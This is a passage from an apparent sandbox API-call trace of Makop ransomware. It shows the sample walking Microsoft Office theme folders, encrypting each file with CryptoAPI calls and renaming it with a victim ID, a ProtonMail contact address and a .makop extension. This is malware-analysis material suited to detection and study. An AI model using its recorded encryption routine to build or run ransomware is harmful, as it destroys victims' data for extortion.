lpNewFilePointer=0x0) returned 1 [0100.259] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0100.260] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.260] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.260] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.260] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1d2, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x1d2, lpOverlapped=0x0) returned 1 [0100.260] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x1e0, dwBufLen=0x1e0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x1e0) returned 1 [0100.260] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.260] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x1e0, lpOverlapped=0x0) returned 1 [0100.260] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.260] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x2a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.260] SetEndOfFile (hFile=0x138) returned 1 [0100.267] GetProcessHeap () returned 0x48a0000 [0100.267] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0100.267] GetProcessHeap () returned 0x48a0000 [0100.267] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.267] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 120 [0100.267] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\spring.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.391] CloseHandle (hObject=0x138) returned 1 [0100.391] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0100.391] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG") returned 75 [0100.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.394] GetProcessHeap () returned 0x48a0000 [0100.395] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.395] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.395] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0100.395] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xb, lpOverlapped=0x0) returned 1 [0100.400] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.400] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.400] GetProcessHeap () returned 0x48a0000 [0100.400] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0100.400] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0100.400] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.401] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0100.401] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.401] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0100.401] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0100.401] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0100.401] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0100.402] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.402] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.402] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.402] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4c45, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x4c45, lpOverlapped=0x0) returned 1 [0100.404] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x4c50, dwBufLen=0x4c50 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x4c50) returned 1 [0100.404] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.404] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4c50, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x4c50, lpOverlapped=0x0) returned 1 [0100.404] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.404] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x4d24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.405] SetEndOfFile (hFile=0x138) returned 1 [0100.411] GetProcessHeap () returned 0x48a0000 [0100.411] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0100.411] GetProcessHeap () returned 0x48a0000 [0100.411] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.412] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 122 [0100.412] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.413] CloseHandle (hObject=0x138) returned 1 [0100.413] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0100.413] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0100.414] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE", cAlternateFileName="")) returned 1 [0100.414] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE") returned 64 [0100.414] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*.*") returned 68 [0100.414] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0100.416] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.416] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0100.416] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF") returned 76 [0100.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.416] GetProcessHeap () returned 0x48a0000 [0100.417] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.417] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.417] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0100.417] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x7, lpOverlapped=0x0) returned 1 [0100.421] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.421] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.421] GetProcessHeap () returned 0x48a0000 [0100.421] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0100.421] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0100.421] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.421] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0100.422] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.422] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0100.422] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0100.422] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0100.422] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0100.423] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.423] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.423] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.423] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6c9, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x6c9, lpOverlapped=0x0) returned 1 [0100.423] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x6d0, dwBufLen=0x6d0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x6d0) returned 1 [0100.423] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.423] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x6d0, lpOverlapped=0x0) returned 1 [0100.423] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.423] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x7a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.424] SetEndOfFile (hFile=0x138) returned 1 [0100.431] GetProcessHeap () returned 0x48a0000 [0100.431] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0100.431] GetProcessHeap () returned 0x48a0000 [0100.431] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.431] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0100.431] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.433] CloseHandle (hObject=0x138) returned 1 [0100.433] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d180d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d180d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe232, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE.ELM", cAlternateFileName="")) returned 1 [0100.433] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM") returned 77 [0100.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0100.434] GetProcessHeap () returned 0x48a0000 [0100.434] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0100.434] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0100.434] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0100.434] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xe, lpOverlapped=0x0) returned 1 [0100.438] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.438] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.438] GetProcessHeap () returned 0x48a0000 [0100.439] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0100.439] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0100.439] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.439] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0100.439] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0100.439] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0100.439] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0100.439] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0100.440] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0100.440] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0100.440] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0100.440] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.440] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe232, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xe232, lpOverlapped=0x0) returned 1 [0100.442] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xe240, dwBufLen=0xe240 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xe240) returned 1 [0100.443] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.443] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe240, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xe240, lpOverlapped=0x0) returned 1 [0100.444] CryptDestroyKey (hKey=0x48c7168) returned 1 [0100.444] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xe314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.444] SetEndOfFile (hFile=0x138) returned 1 [0100.452] GetProcessHeap () returned 0x48a0000 [0100.452] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0100.452] GetProcessHeap () returned 0x48a0000 [0100.452] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0100.452] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0100.452] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\STRTEDGE.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\strtedge.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0100.466] CloseHandle (hObject=0x138) returned 1 [0100.466] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, 